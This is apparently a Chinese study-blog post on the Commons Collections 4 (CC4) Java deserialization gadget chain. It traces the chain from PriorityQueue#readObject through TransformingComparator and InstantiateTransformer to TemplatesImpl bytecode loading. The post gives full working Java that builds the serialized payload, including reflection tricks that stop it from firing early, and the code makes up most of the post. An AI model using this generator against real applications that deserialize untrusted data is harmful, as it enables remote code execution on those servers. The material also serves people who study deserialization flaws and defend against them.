CC4链

学习视频:https://www.bilibili.com/video/BV1NQ4y1q7EU?spm_id_from=333.788.videopod.sections&vd_source=525a280615063349bad5e187f6bfeec3

环境搭建

大部分还是和CC1链一样的环境:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/

换一下依赖:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

分析链子

CC4的尾部和CC3一样还是要去触发TemplatesImpl#newTransformer最终利用动态加载类执行代码,前面就是在PriorityQueue类中的各种调用触发了

CC4中不使用InvokerTransformer,而是用的InstantiateTransformer,后面就是和CC3中的一样了:https://yschen20.github.io/2026/01/28/CC3%E9%93%BE/#%E8%A1%A5%E5%85%85

要调用instantiateTransformer#transform,和CC3一样用ChainedTransformer,最终要调用ChainedTransformer#transform,所以去找还有能调用到transform地方

image-20260129155259608

就是TransformingComparator#compare,这个compare也是比较常见的,然后就是继续往前找哪里调用的compare方法,不过就不太好直接找了,直接看 ysoserial 的了:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections4.java

image-20260129155611416

这里说CC4是在CC2的基础上,使用的InstantiateTransformer,去看CC2:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections2.java

image-20260129155707005

所以CC4的开始是用的PriorityQueue#readObject

image-20260129153501494

方法最后调用到PriorityQueue#heapify

image-20260129153658709

heapify中会调用到PriorityQueue#siftDown

image-20260129153806731

如果满足comparator != null就可以继续调用到PriorityQueue#siftDownUsingComparator

image-20260129153949061

然后就会调用到compare,这里就可以去调用到前面说的TransformingComparator#compare

整个链子就分析好了

构造链子

先写好序列化反序列化的函数:

1
2
3
4
5
6
7
8
9
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}

后面类加载执行代码的部分就和CC3一样,直接拿来用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC4");
Field byteCodesField = templatesClass.getDecla
redField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
//chainedtransformer.transform( null);

image-20260129161957100

然后就是要去调用chainedtransformer.transform,是要用TransformingComparator#compare,去看一下这个类的构造函数,这里是可以直接传入的

image-20260129162916186

代码:

1
TransformingComparator transformingComparator = new TransformingComparator<>(chainedtransformer);

然后前面的方法就都是在PriorityQueue类了,去看一下这个类的构造方法:

image-20260129163228356

是有能直接传入transformingComparator的构造方法,代码:

1
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

然后就可以进行序列化反序列化调试一下,看看有什么要添加补充的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC4");
Field byteCodesField = templatesClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
// chainedtransformer.transform( null);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedtransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

image-20260129163937470

运行会发现什么都没有,既没有弹计算器,也没有报错,那就下断点调试一下,开是要在PriorityQueue#readObject中去调用heapify(),那就在这里下断点:

image-20260129164200534

一点点调试发现是可以走进heapify()中的

image-20260129165833611

这里是想要进入到for循环里的,然后去进入到siftDown中,但是继续调试发现并没有执行这句代码,这里查看size的值为0,这个for循环执行的条件是i>=0,这里的i = (size >>> 1) - 1

image-20260129165333121

这里可以用工具模拟条件计算一下

image-20260129170100441

刚开始size0

image-20260129170456374

-1,然后试试1

image-20260129170513067

还是-1,再试试2

image-20260129170537987

此时结果就是0了,满足了进入for循环的条件,所以这里就是要将size设置成2

这里可以利用PriorityQueue#add方法来实现:

image-20260129170815231

add方法里会去调用offer()方法:

image-20260129170922823

每次调用offer方法都会令size的值加一,所以这里可以调用两次add方法即可将size的值设置为2

1
2
priorityQueue.add(1);
priorityQueue.add(2);

此时就可以执行代码了

image-20260129173255534

但是会发现在序列化的时候就会执行代码,甚至不序列化都会执行

image-20260129174453339

这是因为i = size的,当第二次执行priorityQueue.add(2);的时候,此时size1,所以第二次的时候i=1,然后看下面有个if判断,当i不为0时就会调用siftUp()方法

image-20260129173435879

siftUp里,如果comparator != null,就会调用siftUpUsingComparator方法

image-20260129173648775

siftUpUsingComparator方法里就会提前调用到compare方法了,就会导致提前执行代码

image-20260129173756483

解决方法就是在下面这句代码传入一个没用的对象,就是不会执行代码的对象

image-20260129174735457

比如说随便实例化一个含有transform方法的类:

1
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

这样在执行到add的时候就不会执行代码了,然后在执行完两个add方法后,重新把传入的参数修改回来,去代码里开一下这个属性名就是transformer

image-20260129175233653

所以利用反射将这个值修改回chainedtransformer

1
2
3
4
Class c = transformingComparator.getClass();
Field comparatorField = c.getDeclaredField("transformer");
comparatorField.setAccessible(true);
comparatorField.set(transformingComparator, chainedtransformer);

这就可以了,只会在反序列化的时候执行代码

image-20260129175445120

还有一种办法就是直接将size的值修改为2,因为size是私有属性,所以利用反射来修改,这种方法的好处就是不用再去调用add方法,也就不会触发后续的一系列方法导致提前执行代码

image-20260129172521271

1
2
3
Field sizeField = priorityQueue.getClass().getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);

image-20260129171449362

所有的代码就构造好了

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC4");
Field byteCodesField = templatesClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
// chainedtransformer.transform( null);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedtransformer);
// TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

// priorityQueue.add(1);
// priorityQueue.add(2);

// Class c = transformingComparator.getClass();
// Field comparatorField = c.getDeclaredField("transformer");
// comparatorField.setAccessible(true);
// comparatorField.set(transformingComparator, chainedtransformer);

Field sizeField = priorityQueue.getClass().getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);

serialize(priorityQueue);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}


CC4链
https://yschen20.github.io/2026/01/29/CC4链/
作者
Suzen
发布于
2026年1月29日
更新于
2026年1月29日
许可协议